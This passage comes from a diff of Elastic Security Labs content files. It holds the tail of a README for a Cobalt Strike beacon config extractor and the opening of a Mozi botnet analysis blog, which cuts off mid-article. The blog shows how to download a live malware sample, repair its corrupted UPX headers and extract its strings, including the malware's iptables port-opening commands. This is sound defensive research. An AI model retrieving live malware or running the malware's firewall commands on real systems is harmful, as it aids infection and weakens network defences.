Elasticsearch cluster or output to the terminal as JSON.\n\n> For help on creating Fleet policies to collect and analyze Cobalt Strike beacons in the Elastic Stack, check out our blog posts detailing this:\n>\n> - [Collecting Colbalt Strike beacons](https://www.elastic.co/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack)\n> - [Extracting Cobalt Strike beacon configurations](https://www.elastic.co/security-labs/extracting-cobalt-strike-beacon-configurations)\n\n## Getting Started\n\n### Docker\n\nThe recommended and easiest way to get going is to use Docker. From the directory this README is in, you can build a local container.\n\n```\ndocker build . -t cobalt-strike-extractor\n```\n\nNext, make a copy of config.reference.yml and name it config.local.yml and edit for your environment. A minimal config looks like the example below. The input and output could use the same values, but you can optionally push it to a different cluster for analysis.\n\n```\n## Using an Elastic Cloud instance (this is a randomly generated example)\ninput.elasticsearch:\n enabled: True\n cloud.id: security-cluster:dXMtd2VzdDEuZ2NwLmNsb3VkLmVzLmlvJGU0MWU1YTc3YmRjNzY2OTY0MDg2NjIzNDA5NzFjNjFkJDdlYjRlYTJkMzJkMTgzYTRiMmJkMjlkNTNjODhjMjQ4\n cloud.auth: elastic:\n\n## Default output will use localhost:9092, see reference config\noutput.elasticsearch:\n enabled: True\n username: elastic\n password: \n\n```\n\nNow, run the container, passing in our local configuration. The -v flag here will add informational messages to the log output. Here, it tells us how many documents were successfully parsed and written.\n\n```\ndocker run -ti --rm -v \"$(pwd)/config.local.yml:/config.yml\" \\\n cobalt-strike-extractor:latest -c /config.yml -v\n\n```\n\n_Output_:\n\n```\n[2022-01-10T21:33:31.493][INFO] Setting up input/output\n[2022-01-10T21:33:31.493][INFO] Connecting to Elasticsearch for input\n[2022-01-10T21:33:31.493][INFO] Successfully connected to Elasticsearch for input\n[2022-01-10T21:33:31.834][INFO] Connecting to Elasticsearch for output\n[2022-01-10T21:33:31.835][INFO] Successfully connected to Elasticsearch for output\n[2022-01-10T21:33:33.030][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.078][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.093][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.096][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.097][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.097][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.098][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.186][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.191][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.461][WARNING] Could not parse source as PE file (DOS Header magic not found.)\n[2022-01-10T21:33:33.516][WARNING] CobaltStrike Beacon config not found:\n[2022-01-10T21:33:33.927][INFO] Wrote 2 docs to Elasticsearch\n\n```\n\nThe [WARNING] messages here are to be expected. These are simply source documents that didn’t contain the configuration information.\n\n#### Filter by time\n\nTo limit the search by time frame, you can add the --since argument, which takes either an ISO-formatted date time string or you can use [Elastic date math](https://www.elastic.co/guide/en/elasticsearch/reference/current/query-dsl-range-query.html#ranges-on-dates). For example, to limit search to the last 30 days, you can do the following.\n\n```\ndocker run -ti --rm -v \"$(pwd)/config.local.yml:/config.yml\" \\\n cobalt-strike-extractor:latest --since \"now-30d/d\" -c config.local.yml\n\n```\n\n#### Pipe output to other tools\n\nLastly, you can pipe the output to other commands, such as jq to do local analysis. You can also override the configuration file values using environment variables.\n\n```\ndocker run -i --rm -a stdin -a stdout -a stderr \\\n -v \"$(pwd)/config.local.yml:/config.yml\" \\\n -e \"OUTPUT_ELASTICSEARCH_ENABLED=False\" \\\n -e \"OUTPUT_CONSOLE_ENABLED=True\" cobalt-strike-extractor:latest -c /config.yml -q | jq '.cobaltstrike.server.hostname'\n\n```\n\nIn the example above, we disabled the Elasticsearch output and enabled the Console output using environment variables. We made the output more quiet using the -q flag (hiding the warnings). Then, we used jq to just pull out the “hostname” value of the configuration.\n\n### Running it Locally\n\nAs mentioned above, Docker is the recommended approach to running this project, however you can also run this locally. This project uses [Poetry](https://python-poetry.org/) to manage dependencies, testing, and metadata. If you have Poetry installed already, from this directory, you can simply run the following commands to run the tool. This will setup a virtual environment, install the dependencies, activate the virtual environment, and run the console script.\n\n```\npoetry lock\npoetry install\npoetry shell\ncobalt-strike-extractor --help\n\n```\n\nOnce that works, you can do the same sort of things as mentioned in the Docker instructions above.\n" + }, + "title": "Cobalt Strike Beacon Extractor", + "slug": "cobalt-strike-beacon-extractor", + "date": "2022-12-06", + "description": "Python script that collects Cobalt Strike memory data generated by security events from an Elasticsearch cluster, extracts the configuration from the CS beacon, and writes the data back to Elasticsearch.", + "author": [ + { + "slug": "elastic-security-labs" + } + ], + "image": "tools-image.jpg", + "category": [ + { + "slug": "tools" + } + ], + "tags": [ + "cobaltstrike" + ] + }, + "id": "security_labs_content-cobalt_strike_beacon_extractor-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-collecting_and_operationalizing_threat_data_from_the_mozi_botnet-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-collecting_and_operationalizing_threat_data_from_the_mozi_botnet-md.json new file mode 100644 index 00000000000..5811a5d2ded --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-collecting_and_operationalizing_threat_data_from_the_mozi_botnet-md.json @@ -0,0 +1,33 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"Collecting and operationalizing threat data from the Mozi botnet\"\nslug: \"collecting-and-operationalizing-threat-data-from-the-mozi-botnet\"\ndate: \"2022-06-02\"\ndescription: \"The Mozi botnet is an ongoing malware campaign targeting unsecured and vulnerable networking devices. This post will showcase the analyst journey of collecting, analyzing, and operationalizing threat data from the Mozi botnet.\"\nauthor:\n - slug: andrew-pease\n - slug: seth-goodwin\n - slug: derek-ditch\n - slug: daniel-stepanic\nimage: \"blog-thumb-mozi-botnet.jpg\"\ncategory:\n - slug: security-research\n---\n\nDetecting and preventing malicious activity such as botnet attacks is a critical area of focus for threat intel analysts, security operators, and threat hunters. Taking up the Mozi botnet as a case study, this blog post demonstrates how to use open source tools, analytical processes, and the Elastic Stack to perform analysis and enrichment of collected data irrespective of the campaign. This will allow you to take the lessons and processes outlined below to your organization and apply them to your specific use cases.\n\nThe Mozi botnet has been leveraging vulnerable Internet of Things (IoT) devices to launch campaigns that can take advantage of the force multiplication provided by a botnet (Distributed Denial of Service (DDoS), email spam, brute-force, password spraying, etc.). Mozi was [first reported](https://blog.netlab.360.com/mozi-another-botnet-using-dht/) by the research team at 360Netlab in December 2019 and has continued to make up a large portion of IoT network activity across the Internet-at-large.\n\nAs reported by 360Netlab, the botnet spreads via the use of weak and default remote access passwords for targeted devices as well as through multiple public exploits. The Mozi botnet communicates using a Distributed Hash Table (DHT) which records the contact information for other nodes in the botnet. This is the same serverless mechanism used by file sharing peer-to-peer (P2P) clients. Once the malware has accessed a vulnerable device, it executes the payload and subsequently joins the Mozi P2P network. The newly infected device listens for commands from controller nodes and also attempts to infect other vulnerable devices.\n\nMozi targets multiple IoT devices and systems, mainly focused on Small Office Home Office (SOHO) networking devices, Internet-connected audio visual systems, and theoretically any 32-bit ARM device.\n\n## Collection\n\nWhen performing data analysis, the more data that you have, the better. Analysis of malware campaigns are no different. With a paid subscription to VirusTotal, you can collect huge amounts of data for analysis, but we wanted an approach for independent researchers or smaller organizations that may not have this premium service. To do that, we decided to keep to our roots at Elastic and leverage open source datasets to avoid a paywall that could prevent others from using our processes.\n\nTo begin, we started with a handful of [Mozi samples](https://threatfox.abuse.ch/browse.php?search=tag%3Amozi) collected from [ThreatFox](https://threatfox.abuse.ch/). ThreatFox is an open source platform from [Abuse.ch](https://abuse.ch) with the goal of sharing malware indicators with the security research community.\n\nUsing cURL, we queried the ThreatFox API for the Mozi tag. This returned back JSON documents with information about the malware sample, based on the tagged information.\n\n```\ncurl -X POST https://threatfox-api.abuse.ch/api/v1/ -d '{ \"query\": \"taginfo\", \"tag\": \"Mozi\", \"limit\": 1 }'\n```\n\n_Code block 1 - cURL request to ThreatFox API_\n\n- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the ThreatFox API\n- `https://threatfox-api.abuse.ch/api/v1/` - this is the ThreatFox API endpoint\n- -d - this is denoting that we’re going to be sending data\n- query: taginfo - the type of query that we’re making, taginfo in our example\n- tag: Mozi - the tag that we’ll be searching for, “Mozi” in our example\n- limit: 1 - the number of results to return, 1 result in our example, but you can return up to 1000 results\n\nThis returned the following information:\n\n```\n{\n \"query_status\": \"ok\",\n \"data\": [\n {\n \"id\": \"115772\",\n \"ioc\": \"nnn.nnn.nnn.nnn:53822\",\n \"threat_type\": \"botnet_cc\",\n \"threat_type_desc\": \"Indicator that identifies a botnet command&control server (C&C)\",\n \"ioc_type\": \"ip:port\",\n \"ioc_type_desc\": \"ip:port combination that is used for botnet Command&control (C&C)\",\n \"malware\": \"elf.mozi\",\n \"malware_printable\": \"Mozi\",\n \"malware_alias\": null,\n \"malware_malpedia\": \"https:\\/\\/malpedia.caad.fkie.fraunhofer.de\\/details\\/elf.mozi\",\n \"confidence_level\": 75,\n \"first_seen\": \"2021-06-15 08:22:52 UTC\",\n \"last_seen\": null,\n \"reference\": \"https:\\/\\/bazaar.abuse.ch\\/sample\\/832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b\\/\",\n \"reporter\": \"abuse_ch\",\n \"tags\": [\n \"Mozi\"\n ]\n }\n ]\n```\n\n_Code block 2 - Response from ThreatFox API_\n\nNow that we have the file hashes of several samples, we can download the samples using the Malware Bazaar API. Malware Bazaar is another open source platform provided by Abuse.ch. While ThreatFox is used to share contextual information about indicators, Malware Bazaar allows for the actual collection of malware samples (among other capabilities).\n\nJust like with ThreatFox, we’ll use cURL to interact with the Malware Bazaar API, but this time to download the actual malware samples. Of note, the Malware Bazaar API can be used to search for samples using a tag (“Mozi”, in our example), similar to how we used the ThreatFox API. The difference is that the ThreatFox API returns network indicators that we’ll use later on for data enrichment.\n\n```\ncurl -X POST https://mb-api.abuse.ch/api/v1 -d 'query=get_file&sha256_hash=832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b' -o 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw\n```\n\n_Code block 3 - cURL request to Malware Bazaar API_\n\n- -X POST - change the cURL HTTP method from GET (default) to POST as we’re going to be sending data to the Malware Bazaar API\n- `https://mb-api.abuse.ch/api/v1` - this is the Malware Bazaar API endpoint\n- -d - this is denoting that we’re going to be sending data\n- query: get_file - the type of query that we’re making, get_file in our example\n- sha256_hash - the SHA256 hash we’re going to be collecting, “832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b” in our example\n- -o - the file name we’re going to save the binary as\n\nThis will save a file locally named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.raw. We want to make a raw file that we’ll not modify so that we always have an original sample for archival purposes. This downloads the file as a Zip archive. The passphrase to extract the archive is infected. This will create a local file named 832fb4090879c1bebe75bea939a9c5724dbf87898febd425f94f7e03ee687d3b.elf. Going forward, we’ll use a shorter name for this file, truncated-87d3b.elf, for readability.\n\n### Unpacking\n\nNow that we have a few samples to work with we can look at ripping out strings for further analysis. Once in our analysis VM we took a stab at running [Sysinternals Strings](https://docs.microsoft.com/en-us/sysinternals/downloads/strings) over our sample:\n\n```\n$ strings truncated-87d3b.elf\nELF\n*UPX!\nELF\n$Bw\n(GT\n...\n```\n\n_Code block 3 - Strings output from the packed Mozi sample_\n\nRight away we see that we have a [UPX](https://upx.github.io/) packed ELF binary from the “ELF” and “UPX!” text. UPX is a compression tool for executable files, commonly known as “packing”. So the next logical step is to decompress the ELF file with the UPX program. To do that, we’ll run upx with the -d switch.\n\n```\n$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96w Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\nupx.exe : upx: truncated-87d3b.elf : CantUnpackException: p_info corrupted\n```\n\n_Code block 4 - UPX output from corrupted Mozi sample_\n\nAnother road-block: the p_info section of the file appears to be corrupted. p_info is the sum of two sections from a file, p_blocksize and p_filesize . After a quick search for the error message, we landed on a [CUJOAI Anti-Unpacking blog](https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/) explaining the header corruptions commonly used in IoT malware to disrupt automated analysis tools.\n\nUsing this information, we cracked open our binary in [xxd](https://linux.die.net/man/1/xxd), a HEX dumper, to see which corruption we were dealing with. As described in the CUJOAI blog, the p_info blocks represent the sum of the p_filesize blocks and the p_blocksize blocks. This section begins with the 8 bytes after the UPX! text, and has been overwritten with zeros (the 8 bytes starting at 0x84 ).\n\n```\n$ xxd truncated-87d3b.elf\n00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n...\n```\n\n_Code block 5 - HEX view of the corrupted Mozi sample_\n\nThe CUJOAI blog states that if you manually update the values of the p_filesize blocks and the p_blocksize blocks with the value of the p_info, this will fix the corruption issue. Below we can see the p_info section in HEX, and we can use that to manually update the p_filesize and p_blocksize sections, which will allow us to unpack the binary (the 4 bytes starting at 0x1e110).\n\n```\n$ xxd truncated-87d3b.elf\n...\n0001e0c0: 1914 a614 c998 885d 39ec 4727 1eac 2805 .......]9.G'..(.\n0001e0d0: e603 19f6 04d2 0127 52c9 9b60 00be 273e .......'R..`..'>\n0001e0e0: c00f 5831 6000 0000 0000 90ff 0000 0000 ..X1`...........\n0001e0f0: 5550 5821 0000 0000 5550 5821 0d17 0308 UPX!....UPX!....\n0001e100: 5199 6237 591c 321c d001 0000 b800 0000 Q.b7Y.2.........\n0001e110: 7c2a 0400 5000 0011 8000 0000 |*..P.......\n```\n\n_Code block 6 - p_info HEX data from the corrupted Mozi sample_\n\nFirst, let’s open the file with Vim. As we can see, it is just a UPX file as denoted by the UPX!.\n\n```\n$ vim truncated-87d3b.elf\n^?ELF^A^A^Aa^@^@^@^@^@^@^@^@^B^@(^@^A^@^@^@^PW^B^@4^@^@^@^@^@^@^@^B^B^@^@4^@ ^@^B^@(^@^@^@^@^@^A^@^@^@^@^@^@^@^@<80>^@^@^@<80>^@^@^Mà^A^@^Mà^A^@^E^@^@^@^@<80>^@^@^A^@^@^@°z^@^@°ú^F^@°ú^F^@^@^@^@^@^@^@^@^@^F^@^@^@^@<80>^@^@^Pñ<8f>RUPX!^\\\n```\n\n_Code block 7 - Corrupted Mozi sample in Vim_\n\nUsing the xxd plugin for Vim, we can convert this to HEX so that we can make our modifications. This is achieved by typing :%!xxd, which will show us the HEX output for the file.\n\n```\n00000000: 7f45 4c46 0101 0161 0000 0000 0000 0000 .ELF...a........\n00000010: 0200 2800 0100 0000 1057 0200 3400 0000 ..(......W..4...\n00000020: 0000 0000 0202 0000 3400 2000 0200 2800 ........4. ...(.\n00000030: 0000 0000 0100 0000 0000 0000 0080 0000 ................\n00000040: 0080 0000 0de0 0100 0de0 0100 0500 0000 ................\n00000050: 0080 0000 0100 0000 b07a 0000 b0fa 0600 .........z......\n00000060: b0fa 0600 0000 0000 0000 0000 0600 0000 ................\n00000070: 0080 0000 10f1 8f52 5550 5821 1c09 0d17 .......RUPX!....\n00000080: 0000 0000 0000 0000 0000 0000 9400 0000 ................\n00000090: 5e00 0000 0300 0000 f97f 454c 4601 7261 ^.........ELF.ra\n000000a0: 000f 0200 28dd 0001 0790 b681 0334 ee07 ....(........4..\n000000b0: ec28 04db 1302 0bfb 2000 031b be0a 0009 .(...... .......\n```\n\n_Code block 8 - Corrupted Mozi sample in Vim with XXD plugin_\n\nNext, we can just update bytes 0x84 - 0x8b(that we identified as having the zero’d out p_filesize and p_blocksize) with the HEX value for p_info (7c2a 0400).\n\n```\n00000080: 0000 0000 7c2a 0400 7c2a 0400 9400 0000 ....|*..|*......\n```\n\n_Code block 9 - Updated p_filesize and p_blocksize HEX values_\n\nLet’s reset the file back using :%!xxd -r, save the file and exit Vim (:wq).\n\nFinally, let’s try to unpack the file now that we’ve manually adjusted the HEX values.\n\n```\n$ upx -d truncated-87d3b.elf\n Ultimate Packer for eXecutables\n Copyright (C) 1996 - 2020\nUPX 3.96 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 23rd 2020\n File size Ratio Format Name\n -------------------- ------ ----------- -----------\n 273020 <- 123165 45.11% linux/arm truncated-87d3b.elf\nUnpacked 1 file.\n```\n\n_Code block 10 - Successfully unpacked Mozi sample_\n\nWe now have successfully unpacked the file. Let’s check to see what kind of file this is now by using the file command.\n\n```\n$ file truncated-87d3b.elf\ntruncated-87d3b.elf: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n```\n\n_Code block 11 - File type identification of the Mozi sample_\n\nNow, we can again use the strings command to see if there is any useful information that we can use (truncated for readability).\n\n```\n$ strings truncated-87d3b.elf\n...\niptables -I OUTPUT -p udp --source-port %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --destination-port %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --source-port %d -j ACCEPT\niptables -I INPUT -p udp --dport %d -j ACCEPT\niptables -I OUTPUT -p udp --sport %d -j ACCEPT\niptables -I PREROUTING -t nat -p udp --dport %d -j ACCEPT\niptables -I POSTROUTING -t nat -p udp --sport %d -j ACCEPT\n0.0.0.0\n[idp]\nThis node doesn't accept announces\nv2s\ndht.transmissionbt.com:6881\nrouter.bittorrent.com:6881\nrouter.utorrent.com:6881\nbttracker.debian.org:6881\nnnn.nnn.nnn.nnn:6881\nabc.abc.abc.abc:6881\nxxx.xxx.xxx.xxx:6881\nyyy.yyy.yyy.yyy:6881\nNfZ\nOo~Mn\ng5=\nN]%\nRange: bytes=\nUser-Agent:\n...\n```\n\n_Code block 12 - Strings output from the unpacked Mozi sample_\n\nRunning Strings, we can see, among other things, network indicators and changes to the local firewall, iptables. There is a lot of great information in this file that we can now review which can be used to search for infected devices.\n\nNext, let’s enrich the ThreatFox data, store it in Elasticsearch, and visualize it with Kibana.\n\n## Storing threat data in the Elastic Stack\n\nLooking at what we’ve collected so far, we have rich threat data provided by ThreatFox that includes both network and file information. Additionally, we have actual malware samples collected from Malware Bazaar. Finally, we have performed static file analysis on the malware to identify additional indicators that could be of use.\n\nFor the next steps, we’re going to parse the data from ThreatFox and store that in the Elastic Stack so that we can leverage Kibana to visualize data to identify clusters of activity.\n\n## Create the Ingest Node Pipeline\n\nWe're going to create an Ingest Node Pipeline to transform the data from ThreatFox into enriched Elasticsearch data. When making a pipeline, it's useful to make a table to lay out what we're going to do.\n\n| | |\n| ---------------------------- | --------------------------------------------------------------- |\n| ThreatFox field | ECS-style field |\n| id | event.id |\n| ioc | threat.indicator.ip and threat.indicator.port |\n| threat_type | threat.software.type |\n| threat_type_desc | threat.indicator.description |\n| ioc_type | threat.indicator.type. Set threat.indicator.type to \"ipv4-addr\" |\n| malware | threat.software.name |\n| malware_printable | threat.threatfox.malware_printable |\n| malware_alias | threat.software.alias (if non-null) |\n| malware_malpedia | threat.software.reference |\n| confidence_level | threat.indicator.confidence |\n| first_seen | threat.indicator.first_seen |\n| last_seen | threat.indicator.last_seen |\n| reference | event.reference |\n| reporter | event.provider |\n| tags | tags |\n| `` | threat.indicator.geo. Enriched by our geoip processor. |\n| `` | file.hash.sha256 and related.hash |\n| `` | related.ip |\n\n_Table 1 - Elasticsearch Ingest Node Pipeline for ThreatFox data_\n\nTo create the pipeline, go to **Kibana Stack Management** -> **Ingest Node Pipelines** , then click **Create pipeline**.\n\n![Figure 1 - Creating Ingest Node Pipeline for ThreatFox data](/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-1.jpg)\n\nNext, we’ll give our pipeline a name, optionally a version, and a description.\n\nFrom this view you can manually add processors and configure them to your liking. To give you a head start, we've provided the [ThreatFox pipeline definition here](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json) you can paste in.\n\nClick **Import processors** and paste the contents of this pipeline definition: [pipeline.json](https://github.com/elastic/examples/blob/master/blog/mozin-about/ingest-node-pipeline.json).\n\nWhen you click **Load and overwrite** , you'll have each processor listed there as we've configured it. From here you can tweak it to your needs, or just scroll down and click **Create pipeline**.\n\n![Figure 2 - Ingest Node Processors for ThreatFox data](/assets/images/collecting-and-operationalizing-threat-data-from-the-mozi-botnet/blog-mozi-botnet-2.jpg)\n\nAlternatively, if you’d like to use a turnkey approach, the [collection.sh](https://github.com/elastic/examples/blob/master/blog/mozin-about/collection.sh) script will allow you to collect the ThreatFox Mozi data, create the Elasticsearch ingest pipeline, the indicators Index, the Index Pattern, and send the data from ThreatFox directly into Elasticsearch.\n\n```\n$ git clone https://github.com/elastic/examples\n$ cd examples/blog/mozin-about\n$ sh collection.sh\n```\n\n_Code block 13 - Using the Mozi sample collection script_\n\nUsing the provided collection script, we can see the Threat Fox data is converted into the Elastic Common Schema (ECS) and sent to Elasticsearch for analysis.\n\n